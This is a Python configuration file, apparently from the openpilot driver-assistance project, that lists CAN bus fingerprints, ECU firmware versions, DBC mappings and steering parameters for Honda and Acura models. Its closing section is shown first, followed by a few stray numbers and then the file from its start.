b'57114-TG7-A630\x00\x00', b'57114-TG7-A730\x00\x00', b'57114-TG8-A630\x00\x00', b'57114-TGS-A530\x00\x00', b'57114-TGT-A530\x00\x00', ], }, CAR.RIDGELINE: { (Ecu.eps, 0x18da30f1, None): [ b'39990-T6Z-A020\x00\x00', b'39990-T6Z-A030\x00\x00', ], (Ecu.fwdCamera, 0x18dab0f1, None): [ b'36161-T6Z-A020\x00\x00', b'36161-T6Z-A310\x00\x00', b'36161-T6Z-A520\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-T6Z-A010\x00\x00', b'38897-T6Z-A110\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-T6Z-A420\x00\x00', b'78109-T6Z-A510\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-T6Z-A020\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-T6Z-A120\x00\x00', b'57114-T6Z-A130\x00\x00', b'57114-T6Z-A520\x00\x00', ], }, CAR.INSIGHT: { (Ecu.eps, 0x18da30f1, None): [ b'39990-TXM-A040\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TXM-A070\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TXM-A050\x00\x00', b'36161-TXM-A060\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TXM-A230\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TXM-A040\x00\x00', ], (Ecu.shiftByWire, 0x18da0bf1, None): [ b'54008-TWA-A910\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TXM-A020\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TXM-A020\x00\x00', ], }, CAR.HRV: { (Ecu.gateway, 0x18daeff1, None): [b'38897-T7A-A010\x00\x00'], (Ecu.eps, 0x18da30f1, None): [b'39990-THX-A020\x00\x00'], (Ecu.fwdRadar, 0x18dab0f1, None): [b'36161-T7A-A240\x00\x00'], (Ecu.srs, 0x18da53f1, None): [b'77959-T7A-A230\x00\x00'], (Ecu.combinationMeter, 0x18da60f1, None): [b'78109-THX-A210\x00\x00'], }, } DBC = { CAR.ACCORD: dbc_dict('honda_accord_s2t_2018_can_generated', None), CAR.ACCORD_15: dbc_dict('honda_accord_lx15t_2018_can_generated', None), CAR.ACCORDH: dbc_dict('honda_accord_s2t_2018_can_generated', None), CAR.ACURA_ILX: dbc_dict('acura_ilx_2016_can_generated', 'acura_ilx_2016_nidec'), CAR.ACURA_RDX: dbc_dict('acura_rdx_2018_can_generated', 'acura_ilx_2016_nidec'), CAR.CIVIC: dbc_dict('honda_civic_touring_2016_can_generated', 'acura_ilx_2016_nidec'), CAR.CIVIC_BOSCH: dbc_dict('honda_civic_hatchback_ex_2017_can_generated', None), CAR.CIVIC_BOSCH_DIESEL: dbc_dict('honda_civic_sedan_16_diesel_2019_can_generated', None), CAR.CLARITY: dbc_dict('honda_clarity_hybrid_2018_can_generated', 'acura_ilx_2016_nidec'), CAR.CRV: dbc_dict('honda_crv_touring_2016_can_generated', 'acura_ilx_2016_nidec'), CAR.CRV_5G: dbc_dict('honda_crv_ex_2017_can_generated', None, body_dbc='honda_crv_ex_2017_body_generated'), CAR.CRV_EU: dbc_dict('honda_crv_executive_2016_can_generated', 'acura_ilx_2016_nidec'), CAR.CRV_HYBRID: dbc_dict('honda_crv_hybrid_2019_can_generated', None), CAR.FIT: dbc_dict('honda_fit_ex_2018_can_generated', 'acura_ilx_2016_nidec'), CAR.HRV: dbc_dict('honda_hrv_touring_2019_can_generated', 'acura_ilx_2016_nidec'), CAR.ODYSSEY: dbc_dict('honda_odyssey_exl_2018_generated', 'acura_ilx_2016_nidec'), CAR.ODYSSEY_CHN: dbc_dict('honda_odyssey_extreme_edition_2018_china_can_generated', 'acura_ilx_2016_nidec'), CAR.PILOT: dbc_dict('honda_pilot_touring_2017_can_generated', 'acura_ilx_2016_nidec'), CAR.PILOT_2019: dbc_dict('honda_pilot_touring_2017_can_generated', 'acura_ilx_2016_nidec'), CAR.RIDGELINE: dbc_dict('honda_ridgeline_black_edition_2017_can_generated', 'acura_ilx_2016_nidec'), CAR.INSIGHT: dbc_dict('honda_insight_ex_2019_can_generated', None), } STEER_THRESHOLD = { CAR.ACCORD: 1200, CAR.ACCORD_15: 1200, CAR.ACCORDH: 1200, CAR.ACURA_ILX: 1200, CAR.ACURA_RDX: 400, CAR.CIVIC: 1200, CAR.CIVIC_BOSCH: 1200, CAR.CIVIC_BOSCH_DIESEL: 1200, CAR.CLARITY: 1200, CAR.CRV: 1200, CAR.CRV_5G: 1200, CAR.CRV_EU: 400, CAR.CRV_HYBRID: 1200, CAR.FIT: 1200, CAR.HRV: 1200, CAR.ODYSSEY: 1200, CAR.ODYSSEY_CHN: 1200, CAR.PILOT: 1200, CAR.PILOT_2019: 1200, CAR.RIDGELINE: 1200, CAR.INSIGHT: 1200, } SPEED_FACTOR = { CAR.ACCORD: 1., CAR.ACCORD_15: 1., CAR.ACCORDH: 1., CAR.ACURA_ILX: 1., CAR.ACURA_RDX: 1., CAR.CIVIC: 1., CAR.CIVIC_BOSCH: 1., CAR.CIVIC_BOSCH_DIESEL: 1., CAR.CLARITY: 1., CAR.CRV: 1.025, CAR.CRV_5G: 1.025, CAR.CRV_EU: 1.025, CAR.CRV_HYBRID: 1.025, CAR.FIT: 1., CAR.HRV: 1.025, CAR.ODYSSEY: 1., CAR.ODYSSEY_CHN: 1., CAR.PILOT: 1., CAR.PILOT_2019: 1., CAR.RIDGELINE: 1., CAR.INSIGHT: 1., } # msgs sent for steering controller by camera module on can 0. # those messages are mutually exclusive on CRV and non-CRV cars ECU_FINGERPRINT = { Ecu.fwdCamera: [0xE4, 0x194], # steer torque cmd } HONDA_BOSCH = set([CAR.ACCORD, CAR.ACCORD_15, CAR.ACCORDH, CAR.CIVIC_BOSCH, CAR.CIVIC_BOSCH_DIESEL, CAR.CRV_5G, CAR.CRV_HYBRID, CAR.INSIGHT])
42.718563
856
0.575086
from cereal import car from selfdrive.car import dbc_dict Ecu = car.CarParams.Ecu VisualAlert = car.CarControl.HUDControl.VisualAlert class CruiseButtons: RES_ACCEL = 4 DECEL_SET = 3 CANCEL = 2 MAIN = 1 VISUAL_HUD = { VisualAlert.none: 0, VisualAlert.fcw: 1, VisualAlert.steerRequired: 1, VisualAlert.brakePressed: 10, VisualAlert.wrongGear: 6, VisualAlert.seatbeltUnbuckled: 5, VisualAlert.speedTooHigh: 8} class CAR: ACCORD = "HONDA ACCORD 2018 SPORT 2T" ACCORD_15 = "HONDA ACCORD 2018 LX 1.5T" ACCORDH = "HONDA ACCORD 2018 HYBRID TOURING" CIVIC = "HONDA CIVIC 2016 TOURING" CIVIC_BOSCH = "HONDA CIVIC HATCHBACK 2017 SEDAN/COUPE 2019" CIVIC_BOSCH_DIESEL = "HONDA CIVIC SEDAN 1.6 DIESEL" CLARITY = "HONDA CLARITY 2018 TOURING" ACURA_ILX = "ACURA ILX 2016 ACURAWATCH PLUS" CRV = "HONDA CR-V 2016 TOURING" CRV_5G = "HONDA CR-V 2017 EX" CRV_EU = "HONDA CR-V 2016 EXECUTIVE" CRV_HYBRID = "HONDA CR-V 2019 HYBRID" FIT = "HONDA FIT 2018 EX" HRV = "HONDA HRV 2019 TOURING" ODYSSEY = "HONDA ODYSSEY 2018 EX-L" ODYSSEY_CHN = "HONDA ODYSSEY 2019 EXCLUSIVE CHN" ACURA_RDX = "ACURA RDX 2018 ACURAWATCH PLUS" PILOT = "HONDA PILOT 2017 TOURING" PILOT_2019 = "HONDA PILOT 2019 ELITE" RIDGELINE = "HONDA RIDGELINE 2017 BLACK EDITION" INSIGHT = "HONDA INSIGHT 2019 TOURING" # diag message that in some Nidec cars only appear with 1s freq if VIN query is performed DIAG_MSGS = {1600: 5, 1601: 8} FINGERPRINTS = { CAR.ACCORD: [{ 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 399: 7, 419: 8, 420: 8, 427: 3, 432: 7, 441: 5, 446: 3, 450: 8, 464: 8, 477: 8, 479: 8, 495: 8, 545: 6, 662: 4, 773: 7, 777: 8, 780: 8, 804: 8, 806: 8, 808: 8, 829: 5, 862: 8, 884: 8, 891: 8, 927: 8, 929: 8, 1302: 8, 1600: 5, 1601: 8, 1652: 8 }], CAR.ACCORD_15: [{ 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 427: 3, 432: 7, 441: 5, 446: 3, 450: 8, 464: 8, 477: 8, 479: 8, 495: 8, 545: 6, 662: 4, 773: 7, 777: 8, 780: 8, 804: 8, 806: 8, 808: 8, 829: 5, 862: 8, 884: 8, 891: 8, 927: 8, 929: 8, 1302: 8, 1600: 5, 1601: 8, 1652: 8 }], CAR.ACCORDH: [{ 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 387: 8, 388: 8, 399: 7, 419: 8, 420: 8, 427: 3, 432: 7, 441: 5, 450: 8, 464: 8, 477: 8, 479: 8, 495: 8, 525: 8, 545: 6, 662: 4, 773: 7, 777: 8, 780: 8, 804: 8, 806: 8, 808: 8, 829: 5, 862: 8, 884: 8, 891: 8, 927: 8, 929: 8, 1302: 8, 1600: 5, 1601: 8, 1652: 8 }], CAR.ACURA_ILX: [{ 57: 3, 145: 8, 228: 5, 304: 8, 316: 8, 342: 6, 344: 8, 380: 8, 398: 3, 399: 7, 419: 8, 420: 8, 422: 8, 428: 8, 432: 7, 464: 8, 476: 4, 490: 8, 506: 8, 512: 6, 513: 6, 542: 7, 545: 4, 597: 8, 660: 8, 773: 7, 777: 8, 780: 8, 800: 8, 804: 8, 808: 8, 819: 7, 821: 5, 829: 5, 882: 2, 884: 7, 887: 8, 888: 8, 892: 8, 923: 2, 929: 4, 983: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1030: 5, 1034: 5, 1036: 8, 1039: 8, 1057: 5, 1064: 7, 1108: 8, 1365: 5, }], # Acura RDX w/ Added Comma Pedal Support (512L & 513L) CAR.ACURA_RDX: [{ 57: 3, 145: 8, 229: 4, 308: 5, 316: 8, 342: 6, 344: 8, 380: 8, 392: 6, 398: 3, 399: 6, 404: 4, 420: 8, 422: 8, 426: 8, 432: 7, 464: 8, 474: 5, 476: 4, 487: 4, 490: 8, 506: 8, 512: 6, 513: 6, 542: 7, 545: 4, 597: 8, 660: 8, 773: 7, 777: 8, 780: 8, 800: 8, 804: 8, 808: 8, 819: 7, 821: 5, 829: 5, 882: 2, 884: 7, 887: 8, 888: 8, 892: 8, 923: 2, 929: 4, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1033: 5, 1034: 5, 1036: 8, 1039: 8, 1057: 5, 1064: 7, 1108: 8, 1365: 5, 1424: 5, 1729: 1 }], CAR.CIVIC: [{ 57: 3, 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 427: 3, 428: 8, 432: 7, 450: 8, 464: 8, 470: 2, 476: 7, 487: 4, 490: 8, 493: 5, 506: 8, 512: 6, 513: 6, 545: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 829: 5, 862: 8, 884: 8, 891: 8, 892: 8, 927: 8, 929: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1108: 8, 1302: 8, 1322: 5, 1361: 5, 1365: 5, 1424: 5, 1633: 8, }], CAR.CIVIC_BOSCH: [{ # 2017 Civic Hatchback EX, 2019 Civic Sedan Touring Canadian, and 2018 Civic Hatchback Executive Premium 1.0L CVT European 57: 3, 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 427: 3, 428: 8, 432: 7, 441: 5, 450: 8, 460: 3, 464: 8, 470: 2, 476: 7, 477: 8, 479: 8, 490: 8, 493: 5, 495: 8, 506: 8, 545: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 829: 5, 862: 8, 884: 8, 891: 8, 892: 8, 927: 8, 929: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1108: 8, 1302: 8, 1322: 5, 1361: 5, 1365: 5, 1424: 5, 1600: 5, 1601: 8, 1625: 5, 1629: 5, 1633: 8, }, # 2017 Civic Hatchback LX { 57: 3, 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 423: 2, 427: 3, 428: 8, 432: 7, 441: 5, 450: 8, 464: 8, 470: 2, 476: 7, 477: 8, 479: 8, 490: 8, 493: 5, 495: 8, 506: 8, 545: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 815: 8, 825: 4, 829: 5, 846: 8, 862: 8, 881: 8, 882: 4, 884: 8, 888: 8, 891: 8, 892: 8, 918: 7, 927: 8, 929: 8, 983: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1064: 7, 1092: 1, 1108: 8, 1125: 8, 1127: 2, 1296: 8, 1302: 8, 1322: 5, 1361: 5, 1365: 5, 1424: 5, 1600: 5, 1601: 8, 1633: 8 }], CAR.CIVIC_BOSCH_DIESEL: [{ # 2019 Civic Sedan 1.6 i-dtec Diesel European 57: 3, 148: 8, 228: 5, 308: 5, 316: 8, 330: 8, 344: 8, 380: 8, 399: 7, 419: 8, 420: 8, 426: 8, 427: 3, 432: 7, 441: 5, 450: 8, 464: 8, 470: 2, 476: 7, 477: 8, 479: 8, 490: 8, 493: 5, 495: 8, 506: 8, 507: 1, 545: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 801: 3, 804: 8, 806: 8, 808: 8, 815: 8, 824: 8, 825: 4, 829: 5, 837: 5, 862: 8, 881: 8, 882: 4, 884: 8, 887: 8, 888: 8, 891: 8, 902: 8, 918: 7, 927: 8, 929: 8, 983: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1064: 7, 1092: 1, 1108: 8, 1115: 2, 1125: 8, 1296: 8, 1302: 8, 1322: 5, 1337: 5, 1361: 5, 1365: 5, 1424: 5, 1600: 5, 1601: 8 }], CAR.CLARITY: [{ 57: 3, 304: 8, 312: 8, 315: 7, 330: 8, 344: 8, 380: 8, 387: 8, 388: 8, 409: 8, 419: 8, 420: 8, 427: 3, 428: 8, 432: 7, 441: 5, 450: 8, 464: 8, 476: 8, 478: 3, 506: 8, 538: 5, 545: 5, 547: 6, 559: 3, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 815: 8, 829: 5, 831: 5, 832: 3, 833: 8, 856: 7, 862: 8, 884: 8, 891: 8, 900: 8, 904: 8, 905: 8, 906: 4, 923: 2, 927: 8, 929: 8, 976: 8, 983: 8, 1029: 8, 1036: 8, 1070: 8, 1072: 4, 1092: 1, 1108: 8, 1113: 8, 1114: 2, 1125: 8, 1128: 8, 1129: 8, 1302: 8, 1331: 8, 1332: 5, 1341: 5 }], CAR.CRV: [{ 57: 3, 145: 8, 316: 8, 340: 8, 342: 6, 344: 8, 380: 8, 398: 3, 399: 6, 401: 8, 404: 4, 420: 8, 422: 8, 426: 8, 432: 7, 464: 8, 474: 5, 476: 4, 487: 4, 490: 8, 493: 3, 506: 8, 507: 1, 512: 6, 513: 6, 542: 7, 545: 4, 597: 8, 660: 8, 661: 4, 773: 7, 777: 8, 780: 8, 800: 8, 804: 8, 808: 8, 829: 5, 882: 2, 884: 7, 888: 8, 891: 8, 892: 8, 923: 2, 929: 8, 983: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1033: 5, 1036: 8, 1039: 8, 1057: 5, 1064: 7, 1108: 8, 1125: 8, 1296: 8, 1365: 5, 1424: 5, 1600: 5, 1601: 8, }], CAR.CRV_5G: [{ 57: 3, 148: 8, 199: 4, 228: 5, 231: 5, 232: 7, 304: 8, 330: 8, 340: 8, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 423: 2, 427: 3, 428: 8, 432: 7, 441: 5, 446: 3, 450: 8, 464: 8, 467: 2, 469: 3, 470: 2, 474: 8, 476: 7, 477: 8, 479: 8, 490: 8, 493: 5, 495: 8, 507: 1, 545: 6, 597: 8, 661: 4, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 814: 4, 815: 8, 817: 4, 825: 4, 829: 5, 862: 8, 881: 8, 882: 4, 884: 8, 888: 8, 891: 8, 927: 8, 918: 7, 929: 8, 983: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1064: 7, 1108: 8, 1092: 1, 1115: 2, 1125: 8, 1127: 2, 1296: 8, 1302: 8, 1322: 5, 1361: 5, 1365: 5, 1424: 5, 1600: 5, 1601: 8, 1618: 5, 1633: 8, 1670: 5 }], # 1057: 5 1024: 5 are also on the OBD2 bus. their lengths differ from the camera's f-can bus. re-fingerprint after obd2 connection is split in panda firmware from bus 1. CAR.CRV_EU: [{ 57: 3, 145: 8, 308: 5, 316: 8, 342: 6, 344: 8, 380: 8, 398: 3, 399: 6, 404: 4, 419: 8, 420: 8, 422: 8, 426: 8, 432: 7, 464: 8, 474: 5, 476: 4, 487: 4, 490: 8, 493: 3, 506: 8, 507: 1, 510: 3, 538: 3, 542: 7, 545: 4, 597: 8, 660: 8, 661: 4, 768: 8, 769: 8, 773: 7, 777: 8, 780: 8, 800: 8, 801: 3, 803: 8, 804: 8, 808: 8, 824: 8, 829: 5, 837: 5, 862: 8, 882: 2, 884: 7, 888: 8, 891: 8, 892: 8, 923: 2, 927: 8, 929: 8, 930: 8, 931: 8, 983: 8, 1024: 8, 1027: 5, 1029: 8, 1033: 5, 1036: 8, 1039: 8, 1040: 8, 1041: 8, 1042: 8, 1043: 8, 1044: 8, 1045: 8, 1046: 8, 1047: 8, 1056: 8, 1057: 8, 1058: 8, 1059: 8, 1060: 8, 1064: 7, 1072: 8, 1073: 8, 1074: 8, 1075: 8, 1076: 8, 1077: 8, 1078: 8, 1079: 8, 1080: 8, 1081: 8, 1088: 8, 1089: 8, 1090: 8, 1091: 8, 1092: 8, 1093: 8, 1108: 8, 1125: 8, 1279: 8, 1280: 8, 1296: 8, 1297: 8, 1365: 5, 1424: 5, 1600: 5, 1601: 8, }], CAR.CRV_HYBRID: [{ 57: 3, 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 387: 8, 388: 8, 399: 7, 408: 6, 415: 6, 419: 8, 420: 8, 427: 3, 428: 8, 432: 7, 441: 5, 450: 8, 464: 8, 477: 8, 479: 8, 490: 8, 495: 8, 525: 8, 531: 8, 545: 6, 662: 4, 773: 7, 777: 8, 780: 8, 804: 8, 806: 8, 808: 8, 814: 4, 829: 5, 833: 6, 862: 8, 884: 8, 891: 8, 927: 8, 929: 8, 930: 8, 931: 8, 1302: 8, 1361: 5, 1365: 5, 1600: 5, 1601: 8, 1626: 5, 1627: 5 }], CAR.FIT: [{ 57: 3, 145: 8, 228: 5, 304: 8, 342: 6, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 422: 8, 427: 3, 428: 8, 432: 7, 464: 8, 487: 4, 490: 8, 506: 8, 597: 8, 660: 8, 661: 4, 773: 7, 777: 8, 780: 8, 800: 8, 804: 8, 808: 8, 829: 5, 862: 8, 884: 7, 892: 8, 929: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1108: 8, 1322: 5, 1361: 5, 1365: 5, 1424: 5, 1600: 5, 1601: 8 }], CAR.HRV: [{ 57: 3, 145: 8, 228: 5, 316: 8, 340: 8, 342: 6, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 422: 8, 423: 2, 426: 8, 427: 3, 432: 7, 441: 5, 450: 8, 464: 8, 474: 8, 490: 8, 493: 3, 506: 8, 538: 5, 578: 2, 597: 8, 660: 8, 661: 4, 773: 7, 777: 8, 780: 8, 804: 8, 808: 8, 829: 5, 862: 8, 882: 2, 884: 7, 892: 8, 929: 8, 985: 3, 1030: 5, 1033: 5, 1108: 8, 1137: 8, 1348: 5, 1361: 5, 1365: 5, 1600: 5, 1601: 8, 1618: 5 }], # 2018 Odyssey w/ Added Comma Pedal Support (512L & 513L) CAR.ODYSSEY: [{ 57: 3, 148: 8, 228: 5, 229: 4, 316: 8, 342: 6, 344: 8, 380: 8, 399: 7, 411: 5, 419: 8, 420: 8, 427: 3, 432: 7, 450: 8, 463: 8, 464: 8, 476: 4, 490: 8, 506: 8, 512: 6, 513: 6, 542: 7, 545: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 817: 4, 819: 7, 821: 5, 825: 4, 829: 5, 837: 5, 856: 7, 862: 8, 871: 8, 881: 8, 882: 4, 884: 8, 891: 8, 892: 8, 905: 8, 923: 2, 927: 8, 929: 8, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1029: 8, 1036: 8, 1052: 8, 1064: 7, 1088: 8, 1089: 8, 1092: 1, 1108: 8, 1110: 8, 1125: 8, 1296: 8, 1302: 8, 1600: 5, 1601: 8, 1612: 5, 1613: 5, 1614: 5, 1615: 8, 1616: 5, 1619: 5, 1623: 5, 1668: 5 }, # 2018 Odyssey Elite w/ Added Comma Pedal Support (512L & 513L) { 57: 3, 148: 8, 228: 5, 229: 4, 304: 8, 342: 6, 344: 8, 380: 8, 399: 7, 411: 5, 419: 8, 420: 8, 427: 3, 432: 7, 440: 8, 450: 8, 463: 8, 464: 8, 476: 4, 490: 8, 506: 8, 507: 1, 542: 7, 545: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 817: 4, 819: 7, 821: 5, 825: 4, 829: 5, 837: 5, 856: 7, 862: 8, 871: 8, 881: 8, 882: 4, 884: 8, 891: 8, 892: 8, 905: 8, 923: 2, 927: 8, 929: 8, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1029: 8, 1036: 8, 1052: 8, 1064: 7, 1088: 8, 1089: 8, 1092: 1, 1108: 8, 1110: 8, 1125: 8, 1296: 8, 1302: 8, 1600: 5, 1601: 8, 1612: 5, 1613: 5, 1614: 5, 1616: 5, 1619: 5, 1623: 5, 1668: 5 }], CAR.ODYSSEY_CHN: [{ 57: 3, 145: 8, 316: 8, 342: 6, 344: 8, 380: 8, 398: 3, 399: 7, 401: 8, 404: 4, 411: 5, 420: 8, 422: 8, 423: 2, 426: 8, 432: 7, 450: 8, 464: 8, 490: 8, 506: 8, 507: 1, 512: 6, 513: 6, 597: 8, 610: 8, 611: 8, 612: 8, 617: 8, 660: 8, 661: 4, 773: 7, 780: 8, 804: 8, 808: 8, 829: 5, 862: 8, 884: 7, 892: 8, 923: 2, 929: 8, 1030: 5, 1137: 8, 1302: 8, 1348: 5, 1361: 5, 1365: 5, 1600: 5, 1601: 8, 1639: 8 }], # 2017 Pilot Touring AND 2016 Pilot EX-L w/ Added Comma Pedal Support (512L & 513L) CAR.PILOT: [{ 57: 3, 145: 8, 228: 5, 229: 4, 308: 5, 316: 8, 334: 8, 339: 7, 342: 6, 344: 8, 379: 8, 380: 8, 392: 6, 399: 7, 419: 8, 420: 8, 422: 8, 425: 8, 426: 8, 427: 3, 432: 7, 463: 8, 464: 8, 476: 4, 490: 8, 506: 8, 507: 1, 512: 6, 513: 6, 538: 3, 542: 7, 545: 5, 546: 3, 597: 8, 660: 8, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 808: 8, 819: 7, 821: 5, 829: 5, 837: 5, 856: 7, 871: 8, 882: 2, 884: 7, 891: 8, 892: 8, 923: 2, 929: 8, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1064: 7, 1088: 8, 1089: 8, 1108: 8, 1125: 8, 1296: 8, 1424: 5, 1600: 5, 1601: 8, 1612: 5, 1613: 5, 1616: 5, 1618: 5, 1668: 5 }], # this fingerprint also includes the Passport 2019 CAR.PILOT_2019: [{ 57: 3, 145: 8, 228: 5, 308: 5, 316: 8, 334: 8, 342: 6, 344: 8, 379: 8, 380: 8, 399: 7, 411: 5, 419: 8, 420: 8, 422: 8, 425: 8, 426: 8, 427: 3, 432: 7, 463: 8, 464: 8, 476: 4, 490: 8, 506: 8, 512: 6, 513: 6, 538: 3, 542: 7, 545: 5, 546: 3, 597: 8, 660: 8, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 808: 8, 817: 4, 819: 7, 821: 5, 825: 4, 829: 5, 837: 5, 856: 7, 871: 8, 881: 8, 882: 2, 884: 7, 891: 8, 892: 8, 923: 2, 927: 8, 929: 8, 983: 8, 985: 3, 1029: 8, 1052: 8, 1064: 7, 1088: 8, 1089: 8, 1092: 1, 1108: 8, 1110: 8, 1125: 8, 1296: 8, 1424: 5, 1445: 8, 1600: 5, 1601: 8, 1612: 5, 1613: 5, 1614: 5, 1615: 8, 1616: 5, 1617: 8, 1618: 5, 1623: 5, 1668: 5 }, # 2019 Pilot EX-L { 57: 3, 145: 8, 228: 5, 229: 4, 308: 5, 316: 8, 339: 7, 342: 6, 344: 8, 380: 8, 392: 6, 399: 7, 411: 5, 419: 8, 420: 8, 422: 8, 425: 8, 426: 8, 427: 3, 432: 7, 464: 8, 476: 4, 490: 8, 506: 8, 512: 6, 513: 6, 542: 7, 545: 5, 546: 3, 597: 8, 660: 8, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 808: 8, 817: 4, 819: 7, 821: 5, 829: 5, 871: 8, 881: 8, 882: 2, 884: 7, 891: 8, 892: 8, 923: 2, 927: 8, 929: 8, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1027: 5, 1029: 8, 1039: 8, 1064: 7, 1088: 8, 1089: 8, 1092: 1, 1108: 8, 1125: 8, 1296: 8, 1424: 5, 1445: 8, 1600: 5, 1601: 8, 1612: 5, 1613: 5, 1616: 5, 1617: 8, 1618: 5, 1623: 5, 1668: 5 }], # Ridgeline w/ Added Comma Pedal Support (512L & 513L) CAR.RIDGELINE: [{ 57: 3, 145: 8, 228: 5, 229: 4, 308: 5, 316: 8, 339: 7, 342: 6, 344: 8, 380: 8, 392: 6, 399: 7, 419: 8, 420: 8, 422: 8, 425: 8, 426: 8, 427: 3, 432: 7, 464: 8, 471: 3, 476: 4, 490: 8, 506: 8, 512: 6, 513: 6, 545: 5, 546: 3, 597: 8, 660: 8, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 808: 8, 819: 7, 821: 5, 829: 5, 871: 8, 882: 2, 884: 7, 892: 8, 923: 2, 927: 8, 929: 8, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1064: 7, 1088: 8, 1089: 8, 1108: 8, 1125: 8, 1296: 8, 1365: 5, 1424: 5, 1600: 5, 1601: 8, 1613: 5, 1616: 5, 1618: 5, 1668: 5, 2015: 3 }, # 2019 Ridgeline { 57: 3, 145: 8, 228: 5, 229: 4, 308: 5, 316: 8, 339: 7, 342: 6, 344: 8, 380: 8, 392: 6, 399: 7, 419: 8, 420: 8, 422: 8, 425: 8, 426: 8, 427: 3, 432: 7, 464: 8, 476: 4, 490: 8, 512: 6, 513: 6, 545: 5, 546: 3, 597: 8, 660: 8, 773: 7, 777: 8, 795: 8, 800: 8, 804: 8, 808: 8, 819: 7, 821: 5, 871: 8, 882: 2, 884: 7, 892: 8, 923: 2, 929: 8, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1064: 7, 1088: 8, 1089: 8, 1092: 1, 1108: 8, 1125: 8, 1296: 8, 1365: 5, 424: 5, 1613: 5, 1616: 5, 1618: 5, 1623: 5, 1668: 5 }], # 2019 Insight CAR.INSIGHT: [{ 57: 3, 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 387: 8, 388: 8, 399: 7, 419: 8, 420: 8, 427: 3, 432: 7, 441: 5, 450: 8, 464: 8, 476: 8, 477: 8, 479: 8, 490: 8, 495: 8, 507: 1, 525: 8, 531: 8, 545: 6, 547: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 804: 8, 806: 8, 808: 8, 814: 4, 815: 8, 829: 5, 832: 3, 862: 8, 884: 8, 891: 8, 927: 8, 929: 8, 954: 2, 985: 3, 1029: 8, 1093: 4, 1115: 2, 1302: 8, 1361: 5, 1365: 5, 1600: 5, 1601: 8, 1652: 8, 2015: 3 }] } # Don't use theses fingerprints for fingerprinting, they are still needed for ECU detection IGNORED_FINGERPRINTS = [CAR.INSIGHT, CAR.CIVIC_BOSCH_DIESEL, CAR.CRV_EU, CAR.HRV] # add DIAG_MSGS to fingerprints for c in FINGERPRINTS: for f, _ in enumerate(FINGERPRINTS[c]): for d in DIAG_MSGS: FINGERPRINTS[c][f][d] = DIAG_MSGS[d] # TODO: Figure out what is relevant FW_VERSIONS = { CAR.CLARITY: { (Ecu.vsa, 0x18da28f1, None): [b'57114-TRW-A020\x00\x00'], (Ecu.eps, 0x18da30f1, None): [b'39990-TRW-A020\x00\x00'], }, CAR.ACCORD: { 